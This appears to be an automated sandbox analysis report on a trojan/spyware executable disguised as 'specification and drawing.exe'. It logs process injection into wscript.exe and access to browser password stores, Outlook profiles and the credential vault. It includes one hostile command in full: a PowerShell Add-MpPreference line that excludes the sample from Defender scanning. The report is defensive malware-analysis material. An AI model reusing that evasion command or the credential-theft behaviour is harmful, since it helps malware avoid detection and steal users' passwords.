Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048D68B8	8_2_048D68B8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0491E8F0	8_2_0491E8F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F2840	8_2_048F2840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048FA840	8_2_048FA840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F29A0	8_2_048F29A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049BA9A6	8_2_049BA9A6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04906962	8_2_04906962
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048EEA80	8_2_048EEA80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A6BD7	8_2_049A6BD7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AAB40	8_2_049AAB40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AF43F	8_2_049AF43F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048E1460	8_2_048E1460
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0498D5B0	8_2_0498D5B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A7571	8_2_049A7571
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A16CC	8_2_049A16CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AF7B0	8_2_049AF7B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F70C0	8_2_048F70C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0499F0CC	8_2_0499F0CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A70E9	8_2_049A70E9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AF0E0	8_2_049AF0E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048FB1B0	8_2_048FB1B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049BB16B	8_2_049BB16B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0492516C	8_2_0492516C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048DF172	8_2_048DF172
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F52A0	8_2_048F52A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0490B2C0	8_2_0490B2C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049912ED	8_2_049912ED
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0493739A	8_2_0493739A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A132D	8_2_049A132D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048DD34C	8_2_048DD34C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AFCF2	8_2_049AFCF2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04969C32	8_2_04969C32
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0490FDC0	8_2_0490FDC0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A1D5A	8_2_049A1D5A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F3D40	8_2_048F3D40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A7D73	8_2_049A7D73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F9EB0	8_2_048F9EB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F1F92	8_2_048F1F92
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AFFB1	8_2_049AFFB1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AFF09	8_2_049AFF09
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F38E0	8_2_048F38E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0495D800	8_2_0495D800
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04985910	8_2_04985910
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0490B950	8_2_0490B950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F9950	8_2_048F9950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04935AA0	8_2_04935AA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0498DAAC	8_2_0498DAAC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04991AA3	8_2_04991AA3
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0499DAC6	8_2_0499DAC6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AFA49	8_2_049AFA49
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A7A46	8_2_049A7A46
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04963A6C	8_2_04963A6C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0490FB80	8_2_0490FB80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04965BF0	8_2_04965BF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0492DBF9	8_2_0492DBF9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AFB76	8_2_049AFB76
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00761EA0	8_2_00761EA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075CD50	8_2_0075CD50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075CF70	8_2_0075CF70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075AF70	8_2_0075AF70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075AF66	8_2_0075AF66
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075B0C0	8_2_0075B0C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0075B0B4	8_2_0075B0B4
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00765550	8_2_00765550
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00763760	8_2_00763760
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0076375B	8_2_0076375B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0077BD30	8_2_0077BD30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BE70C	8_2_047BE70C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BD7D8	8_2_047BD7D8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047C51EC	8_2_047C51EC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BE255	8_2_047BE255
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BE378	8_2_047BE378
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BE89C	8_2_047BE89C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047BCAB8	8_2_047BCAB8

Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04937E54 appears 102 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 048DB970 appears 280 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 0496F290 appears 105 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04925130 appears 58 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 0495EA12 appears 86 times
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: String function: 0114F290 appears 105 times
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: String function: 010BB970 appears 274 times
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: String function: 01105130 appears 40 times
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: String function: 01117E54 appears 99 times
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: String function: 0113EA12 appears 86 times

Source: specification and drawing.exe, 00000000.00000002.2178181816.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs specification and drawing.exe
Source: specification and drawing.exe, 00000000.00000002.2187012973.00000000056C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs specification and drawing.exe
Source: specification and drawing.exe, 00000000.00000002.2165460201.000000000111E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs specification and drawing.exe
Source: specification and drawing.exe, 00000000.00000000.2121321607.0000000000A0E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOdNo.exeF vs specification and drawing.exe
Source: specification and drawing.exe, 00000000.00000002.2187356402.0000000007130000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs specification and drawing.exe
Source: specification and drawing.exe, 00000000.00000002.2179156189.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs specification and drawing.exe
Source: specification and drawing.exe, 00000004.00000002.2401295024.00000000011BD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs specification and drawing.exe
Source: specification and drawing.exe, 00000004.00000002.2400903312.0000000000C38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs specification and drawing.exe
Source: specification and drawing.exe	Binary or memory string: OriginalFilenameOdNo.exeF vs specification and drawing.exe

Source: specification and drawing.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: specification and drawing.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, kAOj1Y7pfP90kycNNw.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, kAOj1Y7pfP90kycNNw.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: _0020.AddAccessRule
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, oR1TwPqxXE1yujic7I.cs	Security API names: _0020.AddAccessRule
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, hODBbAxf33qWbhEBEP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, hODBbAxf33qWbhEBEP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/7@15/9

Source: C:\Users\user\Desktop\specification and drawing.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\specification and drawing.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rt1rsod1.x5z.ps1

Source: specification and drawing.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: specification and drawing.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\specification and drawing.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\specification and drawing.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: wscript.exe, 00000008.00000002.4585557607.0000000000993000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2599744547.0000000000966000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2599744547.0000000000993000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2597051422.0000000000966000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4585557607.0000000000966000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: specification and drawing.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\specification and drawing.exe "C:\Users\user\Desktop\specification and drawing.exe"
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Users\user\Desktop\specification and drawing.exe "C:\Users\user\Desktop\specification and drawing.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\SysWOW64\wscript.exe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Users\user\Desktop\specification and drawing.exe "C:\Users\user\Desktop\specification and drawing.exe"	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\SysWOW64\wscript.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\specification and drawing.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\wscript.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains method to dynamically call methods (often used by packers)

Source: specification and drawing.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: specification and drawing.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wscript.pdbGCTL source: specification and drawing.exe, 00000004.00000002.2400903312.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000003.2330616460.000000000154B000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000002.4585989966.000000000156E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: LfvKCNKdvt.exe, 00000007.00000002.4581617841.00000000005BE000.00000002.00000001.01000000.0000000C.sdmp, LfvKCNKdvt.exe, 0000000A.00000000.2476050477.00000000005BE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: specification and drawing.exe, 00000004.00000002.2401295024.0000000001090000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2403171986.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.0000000004A4E000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2400714562.0000000004541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: specification and drawing.exe, specification and drawing.exe, 00000004.00000002.2401295024.0000000001090000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, wscript.exe, 00000008.00000003.2403171986.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.0000000004A4E000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.4590842876.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000008.00000003.2400714562.0000000004541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wscript.pdb source: specification and drawing.exe, 00000004.00000002.2400903312.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000003.2330616460.000000000154B000.00000004.00000020.00020000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000002.4585989966.000000000156E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, kAOj1Y7pfP90kycNNw.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, kAOj1Y7pfP90kycNNw.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

